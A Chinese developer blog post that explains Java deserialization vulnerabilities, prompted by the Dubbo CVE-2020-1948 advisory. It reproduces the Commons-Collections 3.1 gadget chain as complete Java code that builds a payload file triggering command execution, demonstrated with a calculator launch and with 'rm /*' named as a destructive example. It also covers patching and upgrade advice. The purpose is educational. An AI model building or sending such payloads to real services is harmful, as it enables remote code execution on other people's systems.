Dubbo 高危漏洞！原来都是反序列化惹得祸

2020-07-09

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前言

这周收到外部合作同事推送的一篇文章，【漏洞通告】Apache Dubbo Provider默认反序列化远程代码执行漏洞（CVE-2020-1948）通告。

按照文章披露的漏洞影响范围，可以说是当前所有的 Dubbo 的版本都有这个问题。

无独有偶，这周在 Github 自己的仓库上推送几行改动，不一会就收到 Github 安全提示，警告当前项目存在安全漏洞CVE-2018-10237。

可以看到这两个漏洞都是利用反序列化进行执行恶意代码，可能很多同学跟我当初一样，看到这个一脸懵逼。好端端的反序列化，怎么就能被恶意利用，用来执行的恶意代码?

这篇文章我们就来聊聊反序列化漏洞，了解一下黑客是如何利用这个漏洞进行攻击。

先赞后看，养成习惯！微信搜索『程序通事』，关注就完事了！

反序列化漏洞

在了解反序列化漏洞之前，首先我们学习一下两个基础知识。

JAVA 运行外部命令

Java 中有一个类 Runtime，我们可以使用这个类执行执行一些外部命令。

下面例子中我们使用 Runtime 运行打开系统的计算器软件。

// 仅适用macos 
Runtime.getRuntime().exec("open -a Calculator ");

有了这个类，恶意代码就可以执行外部命令，比如执行一把 rm /*。

序列化/反序列化

如果经常使用 Dubbo，Java 序列化与反序列化应该不会陌生。

一个类通过实现 Serializable接口，我们就可以将其序列化成二进制数据，进而存储在文件中，或者使用网络传输。

其他程序可以通过网络接收，或者读取文件的方式，读取序列化的数据，然后对其进行反序列化,从而反向得到相应的类的实例。

下面的例子我们将 App 的对象进行序列化，然后将数据保存到的文件中。后续再从文件中读取序列化数据，对其进行反序列化得到 App 类的对象实例。

public class App implements Serializable {

    private String name;

    private static final long serialVersionUID = 7683681352462061434L;


    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        System.out.println("readObject name is "+name);
        Runtime.getRuntime().exec("open -a Calculator");
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        App app = new App();
        app.name = "程序通事";

        FileOutputStream fos = new FileOutputStream("test.payload");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将Unsafe对象写入object文件
        os.writeObject(app);
        os.close();
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("test.payload");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        App objectFromDisk = (App)ois.readObject();
        System.out.println("main name is "+objectFromDisk.name);
        ois.close();
    }

执行结果：

readObject name is 程序通事
main name is 程序通事

并且成功打开了计算器程序。

当我们调用 ObjectInputStream#readObject读取反序列化的数据，如果对象内实现了 readObject方法，这个方法将会被调用。

源码如下：

反序列化漏洞执行条件

上面的例子中，我们在 readObject 方法内主动使用Runtime执行外部命令。但是正常的情况下，我们肯定不会在 readObject写上述代码，除非是内鬼￣□￣｜｜

如果可以找到一个对象，他的readObject方法可以执行任意代码，那么在反序列过程也会执行对应的代码。我们只要将满足上述条件的对象序列化之后发送给先相应 Java 程序，Java 程序读取之后，进行反序列化，就会执行指定的代码。

为了使反序列化漏洞成功执行需要满足以下条件：

Java 反序列化应用中需要存在序列化使用的类，不然反序列化时将会抛出 ClassNotFoundException 异常。
Java 反序列化对象的 readObject方法可以执行任何代码，没有任何验证或者限制。

引用一段网上的反序列化攻击流程,来源：https://xz.aliyun.com/t/7031

客户端构造payload(有效载荷)，并进行一层层的封装，完成最后的exp（exploit-利用代码）

exp发送到服务端，进入一个服务端自主复写（也可能是也有组件复写）的readobject函数，它会反序列化恢复我们构造的exp去形成一个恶意的数据格式exp_1（剥去第一层）

这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在外面的逻辑中)，会执行一个exp_1这个恶意数据类的一个方法，在方法中会根据exp_1的内容进行函处理，从而一层层地剥去（或者说变形、解析）我们exp_1变成exp_2、exp_3......

最后在一个可执行任意命令的函数中执行最后的payload，完成远程代码执行。

Common-Collections

下面我们以 Common-Collections 的存在反序列化漏洞为例，来复现反序列化攻击流程。

首先我们在应用内引入 Common-Collections 依赖，这里需要注意，我们需要引入 3.2.2 版本之前，之后的版本这个漏洞已经被修复。

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

PS:下面的代码只有在 JDK7 环境下执行才能复现这个问题。

首先我们需要明确，我们做一系列目的就是为了让应用程序成功执行 Runtime.getRuntime().exec("open -a Calculator")。

当然我们没办法让程序直接运行上述语句，我们需要借助其他类，间接执行。

Common-Collections存在一个 Transformer，可以将一个对象类型转为另一个对象类型，相当于 Java Stream 中的 map 函数。

Transformer有几个实现类：

ConstantTransformer
InvokerTransformer
ChainedTransformer

其中 ConstantTransformer用于将对象转为一个常量值，例如：

Transformer transformer = new ConstantTransformer("程序通事");
Object transform = transformer.transform("楼下小黑哥");
// 输出对象为 程序通事
System.out.println(transform);

InvokerTransformer将会使用反射机制执行指定方法，例如：

Transformer transformer = new InvokerTransformer(
        "append",
        new Class[]{String.class},
        new Object[]{"楼下小黑哥"}
);
StringBuilder input=new StringBuilder("程序通事-");
// 反射执行了 input.append("楼下小黑哥");
Object transform = transformer.transform(input);
// 程序通事-楼下小黑哥
System.out.println(transform);

ChainedTransformer 需要传入一个 Transformer[]数组对象，使用责任链模式执行的内部 Transformer，例如：

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

Transformer chainTransformer = new ChainedTransformer(transformers);
chainTransformer.transform("任意对象值");

通过 ChainedTransformer 链式执行 ConstantTransformer，InvokerTransformer逻辑，最后我们成功的运行的 Runtime语句。

不过上述的代码存在一些问题，Runtime没有继承 Serializable接口，我们无法将其进行序列化。

如果对其进行序列化程序将会抛出异常：

image-20200705123341395

我们需要改造以上代码，使用 Runtime.class 经过一系列的反射执行：

String[] execArgs = new String[]{"open -a Calculator"};

final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ),
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class}, execArgs),
};

刚接触这块的同学的应该已经看晕了吧，没关系，我将上面的代码翻译一下正常的反射代码一下：

((Runtime) Runtime.class.
        getMethod("getRuntime", null).
        invoke(null, null)).
        exec("open -a Calculator");

TransformedMap

接下来我们需要找到相关类，可以自动调用Transformer内部方法。

Common-Collections内有两个类将会调用 Transformer：

TransformedMap
LazyMap

下面将会主要介绍 TransformedMap触发方式，LazyMap触发方式比较类似，感兴趣的同学可以研究这个开源库@ysoserial CommonsCollections1。

Github 地址：https://github.com/frohoff/ysoserial

TransformedMap 可以用来对 Map 进行某种变换，底层原理实际上是使用传入的 Transformer 进行转换。

Transformer transformer = new ConstantTransformer("程序通事");

Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只对 value 进行转换
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法将会触发调用 Transformer 内部方法
decorate.put("b", "B");

for (Object entry : decorate.entrySet()) {
    Map.Entry temp = (Map.Entry) entry;
    if (temp.getKey().equals("a")) {
        // Map.Entry setValue 也会触发 Transformer 内部方法
        temp.setValue("AAA");
    }
}
System.out.println(decorate);

输出结果为：

{b=程序通事, a=程序通事}

AnnotationInvocationHandler

上文中我们知道了，只要调用 TransformedMap的 put 方法，或者调用 Map.Entry的 setValue方法就可以触发我们设置的 ChainedTransformer，从而触发 Runtime 执行外部命令。

现在我们就需要找到一个可序列化的类，这个类正好实现了 readObject，且正好可以调用 Map put 的方法或者调用 Map.Entry的 setValue。

Java 中有一个类 sun.reflect.annotation.AnnotationInvocationHandler，正好满足上述的条件。这个类构造函数可以设置一个 Map 变量，这下刚好可以把上面的 TransformedMap 设置进去。

不过不要高兴的太早，这个类没有 public 修饰符，默认只有同一个包才可以使用。

不过这点难度，跟上面一比，还真是轻松，我们可以通过反射获取从而获取这个类的实例。

示例代码如下：

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);

完整的序列化漏洞示例代码如下：

String[] execArgs = new String[]{"open -a Calculator"};

final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ),
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class}, execArgs),
};
//
Transformer transformerChain = new ChainedTransformer(transformers);

Map<String, String> tempMap = new HashMap<>();
// tempMap 不能为空
tempMap.put("value", "you");

Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);



Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);


File f = new File("test.payload");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();

上面代码中需要注意，tempMap需要一定不能为空，且 key 一定要是 value。那可能有的同学为什么一定要这样设置？

tempMap不能为空的原因是因为 readObject 方法内需要遍历内部 Map.Entry.

至于第二个问题，别问，问就是玄学~好吧，我也没研究清楚--，有了解的小伙伴的留言一下。

最后总结一下这个反序列化漏洞代码执行链路如下：

Common-Collections 漏洞修复方式

在 JDK 8 中，AnnotationInvocationHandler 移除了 memberValue.setValue的调用，从而使我们上面构造的 AnnotationInvocationHandler+TransformedMap失效。

另外 Common-Collections3.2.2 版本，对这些不安全的 Java 类序列化支持增加了开关，默认为关闭状态。

比如在 InvokerTransformer类中重写 readObject，增相关判断。如果没有开启不安全的类的序列化则会抛出UnsupportedOperationException异常

Dubbo 反序列化漏洞

Dubbo 反序列化漏洞原理与上面的类似，但是执行的代码攻击链与上面完全不一样，这里就不再复现的详细的实现的方式，感兴趣的可以看下面两篇文章：

https://blog.csdn.net/caiqiiqi/article/details/106934770

https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html

Dubbo 在 2020-06-22 日发布 2.7.7 版本，升级内容名其中包括了这个反序列化漏洞的修复。不过从其他人发布的文章来看，2.7.7 版本的修复方式，只是初步改善了问题，不过并没有根本上解决的这个问题。

感兴趣的同学可以看下这篇文章：

https://www.freebuf.com/mob/vuls/241975.html

防护措施

最后作为一名普通的开发者来说，我们自己来修复这种漏洞，实在不太现实。

术业有专攻，这种专业的事，我们就交给个高的人来顶。

我们需要做的事，就是了解的这些漏洞的一些基本原理，树立的一定意识。

其次我们需要了解一些基本的防护措施，做到一些基本的防御。

如果碰到这类问题，我们及时需要关注官方的新的修复版本，尽早升级，比如 Common-Collections 版本升级。

有些依赖 jar 包，升级还是方便，但是有些东西升级就比较麻烦了。就比如这次 Dubbo 来说，官方目前只放出的 Dubbo 2.7 版本的修复版本，如果我们需要升级，需要将版本直接升级到 Dubbo 2.7.7。

如果你目前已经在使用 Dubbo 2.7 版本，那么升级还是比较简单。但是如果还在使用 Dubbo 2.6 以下版本的，那么就麻烦了，没办法直接升级。

Dubbo 2.6 到 Dubbo 2.7 版本，其中升级太多了东西，就比如包名变更，影响真的比较大。

就拿我们系统来讲，我们目前这套系统，生产还在使用 JDK7。如果需要升级，我们首先需要升级 JDK。

其次，我们目前大部分应用还在使用 Dubbo 2.5.6 版本，这是真的，版本就是这么低。

这部分应用直接升级到 Dubbo 2.7 ,改动其实非常大。另外有些基础服务，自从第一次部署之后，就再也没有重新部署过。对于这类应用还需要仔细评估。

最后，我们有些应用，自己实现了 Dubbo SPI，由于 Dubbo 2.7 版本的包路径改动，这些 Dubbo SPI 相关包路径也需要做出一些改动。

所以直接升级到 Dubbo 2.7 版本的，对于一些老系统来讲，还真是一件比较麻烦的事。

如果真的需要升级，不建议一次性全部升级，建议采用逐步升级替换的方式，慢慢将整个系统的内 Dubbo 版本的升级。

所以这种情况下，短时间内防御措施，可参考玄武实验室给出的方案：

如果当前 Dubbo 部署云上，那其实比较简单，可以使用云厂商的提供的相关流量监控产品，提前一步阻止漏洞的利用。

最后（来个一键四连！！！）

本人不是从事安全开发，上文中相关总结都是查询网上资料，然后加以自己的理解。如果有任何错误，麻烦各位大佬轻喷~

如果可以的话，留言指出，谢谢了~

好了，说完了正事，来说说这周的趣事~

这周搬到了小黑屋，哼次哼次进入开发~

刚进到小黑屋的时候，我发现里面的桌子，可以单独拆开。于是我就单独拆除一个桌子，然后霸占了一个背靠窗，正面直对大门的天然划水摸鱼的好位置。

之后我又叫来另外一个同事，坐在我的边上。当我们的把电脑，显示器啥的都搬过来放到桌子上之后。外面进来的同事就说这个会议室怎么就变成了跟房产线下门店一样了~

还真别说，在我的位置前面摆上两把椅子，就跟上面的图一样了~

好了，下周有点不知道些什么，大家有啥想了解，感兴趣的，可以留言一下~

如果没有写作主题的话，咱就干回老本行，来聊聊这段时间，我在开发的聚合支付模式，尽请期待哈~

帮助资料

http://blog.nsfocus.net/deserialization/
http://www.beesfun.com/2017/05/07/JAVA反序列化漏洞知识点整理/
https://xz.aliyun.com/t/2041
https://xz.aliyun.com/t/2028
https://www.freebuf.com/vuls/241975.html
http://rui0.cn/archives/1338
http://apachecommonstipsandtricks.blogspot.com/2009/01/transformedmap-and-transformers-plug-in.html
https://security.tencent.com/index.php/blog/msg/97
JAVA反序列化漏洞完整过程分析与调试
https://security.tencent.com/index.php/blog/msg/131
https://paper.seebug.org/1264/#35